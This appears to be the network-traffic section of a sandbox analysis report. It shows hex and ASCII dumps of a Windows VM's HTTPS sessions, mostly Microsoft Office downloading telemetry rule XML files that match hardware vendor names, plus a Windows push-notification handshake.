2024-11-17 09:07:17 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:17 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090717Z-16547b76f7fffb7lhC1DFWdsxg000000045000000000eu30 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:17 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:17 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:17 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:17 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090717Z-16547b76f7fp6s5dhC1DFWe28g00000001ag000000006nqv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:17 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:17 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:17 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:17 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090717Z-16547b76f7fkf5v9hC1DFW2y5s00000003vg00000000eqtd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:17 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:17 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:17 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:17 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090717Z-16547b76f7f64d6whC1DFWf9vn00000002kg00000000ekg1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:17 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49727	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 74 71 47 6a 46 50 48 5a 32 6b 75 78 4c 6a 61 48 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 37 39 65 62 35 64 63 63 61 39 36 63 39 66 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: tqGjFPHZ2kuxLjaH.1Context: a79eb5dcca96c9fd
2024-11-17 09:07:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-17 09:07:17 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 74 71 47 6a 46 50 48 5a 32 6b 75 78 4c 6a 61 48 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 37 39 65 62 35 64 63 63 61 39 36 63 39 66 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 41 73 38 55 6c 4d 30 77 38 36 50 6e 44 55 43 67 54 61 38 72 6f 6b 47 4a 50 6d 39 4a 51 58 46 73 52 54 58 4d 4b 68 36 77 41 46 33 6e 47 51 2b 7a 72 62 47 70 50 58 61 4c 49 58 42 76 67 79 37 52 6d 65 54 72 68 38 4b 70 31 45 73 50 79 44 37 39 78 66 56 57 6f 64 6b 2f 72 74 4a 48 63 55 34 79 6f 71 7a 30 6b 43 72 52 48 6d 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: tqGjFPHZ2kuxLjaH.2Context: a79eb5dcca96c9fd<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefAs8UlM0w86PnDUCgTa8rokGJPm9JQXFsRTXMKh6wAF3nGQ+zrbGpPXaLIXBvgy7RmeTrh8Kp1EsPyD79xfVWodk/rtJHcU4yoqz0kCrRHmW
2024-11-17 09:07:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 74 71 47 6a 46 50 48 5a 32 6b 75 78 4c 6a 61 48 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 37 39 65 62 35 64 63 63 61 39 36 63 39 66 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: tqGjFPHZ2kuxLjaH.3Context: a79eb5dcca96c9fd<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-17 09:07:17 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-17 09:07:17 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 50 73 43 76 62 75 49 62 55 2b 4f 58 33 38 53 63 34 39 55 45 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: qPsCvbuIbU+OX38Sc49UEQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:17 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:17 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: c32296f1-601e-003d-7597-376f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090717Z-164f84587bfs5tz9hC1DFW9a3w000000043g00000000ac66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:17 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:17 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090718Z-16547b76f7fz92z5hC1DFWmdx8000000028g00000000g94b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:17 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090718Z-16547b76f7fr5rfnhC1DFW0am400000001fg00000000c2vq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:17 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:18 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 6e95107e-e01e-0099-2a9b-37da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090718Z-16547b76f7fffb7lhC1DFWdsxg000000045000000000eu40 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:18 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:17 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:18 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:18 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: bd894aa1-501e-008f-0bc4-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090718Z-16547b76f7fht2hfhC1DFWbngg00000004eg00000000929v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:18 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:18 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:18 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 165666ad-801e-008c-1f12-377130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090718Z-164f84587bf5rpzqhC1DFWmra800000003z000000000hkbt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
